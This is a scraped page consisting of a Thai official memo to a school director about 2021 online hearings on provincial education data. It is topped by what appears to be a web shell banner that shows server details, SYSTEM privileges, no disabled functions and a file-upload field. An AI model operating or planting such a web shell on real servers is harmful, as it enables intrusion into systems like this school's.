| Server IP : 104.21.80.248 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ด้วย สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน แจ้งว่า ตามที่ยุทธศาสตร์ชาติ 20 ปี ด้านการปรับสมดุลและพัฒนาระบบการบริหารจัดการภาครัฐ มีเป้าหมายการพัฒนาที่สำคัญเพื่อปรับเปลี่ยนภาครัฐ ที่ยึดหลัก “ภาครัฐของประชาชน เพื่อประชาชนและประโยชน์ส่วนรวม “รวมทั้งมีลักษณะเปิดกว้าง เชื่อมโยงถึงกัน และเปิดโอกาสให้ทุกภาคส่วนเข้ามามีส่วนร่วม เพื่อตอบสนองความต้องการของประชาชนได้อย่างสะดวก รวดเร็ว โปร่งใส มีความทันสมัย มีความเป็นสากล มีประสิทธิภาพ ซึ่งจะนำไปสู่ระบบราชการ 4.0 โดยมุ่งเน้น การสานพลังทุกภาคส่วนระหว่างภาครัฐและภาคส่วนอื่นๆ ในสังคม การสร้างนวัตกรรม และการปรับเข้าสู่การเป็นดิจิทัล โดยสำนักงานเลขาธิการสภาการศึกษา มีกำหนดจัดกิจกรรมการอภิปรายการรับฟังความคิดเห็น แนวทางความร่วมมือผ่านการสร้างความเป็นหุ้นส่วนกับภาคส่วนต่าง ๆ เพื่อทบทวนรองรับบทบาทภารกิจประเด็น “การสนับสนุนทรัพยากรเพื่อการศึกษา ชุดข้อมูลผลิตภัณฑ์มวลรวมจังหวัด (GPP) สาขาการศึกษาเพื่อการบริหารราชการแผ่นดินและบริการประชาชน” ซึ่งแบ่งเป็น 5 ครั้ง ได้แก่ ครั้งที่ 1 ภาคเหนือ ระหว่างวันที่ 6-7 กันยายน 2564 ครั้งที่ 2 ภาคตะวันออกเฉียงเหนือ ระหว่างวันที่ 9-10 กันยายน 2564 ครั้งที่ 3 ระหว่างวันที่ 13-14 กันยายน 2564 ครั้งที่ 4 ภาคตะวันออก ระหว่างวันที่ 16-17 กันยายน 2564 และครั้งที่ 5 ภาคใต้ ระหว่างวันที่ 20-21 กันยายน 2564 นั้น</p> <p> สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี จึงขอประชาสัมพันธ์การจัดกิจกรรมการอภิปราย การรับฟังความคิดเห็นแนวทางความร่วมมือผ่านการสร้างความเป็นหุ้นส่วนกับภาคส่วนต่างๆ เพื่อทบทวน รองรับบทบาทภารกิจประเด็น “การสนับสนุนทรัพยากรเพื่อการศึกษา ชุดข้อมูลผลิตภัณฑ์มวลรวมจังหวัด (GPP) สาขาการศึกษาเพื่อการบริหารราชการแผ่นดินและบริการประชาชน” ในรูปแบบกิจกรรมออนไลน์สามารถศึกษา รายละเอียดเพิ่มเติมได้ที่ QR Code รายละเอียดดังสิ่งที่ส่งมาด้วยพร้อมนี้</p> <p> จึงเรียนมาเพื่อทราบและดำเนินการ </p>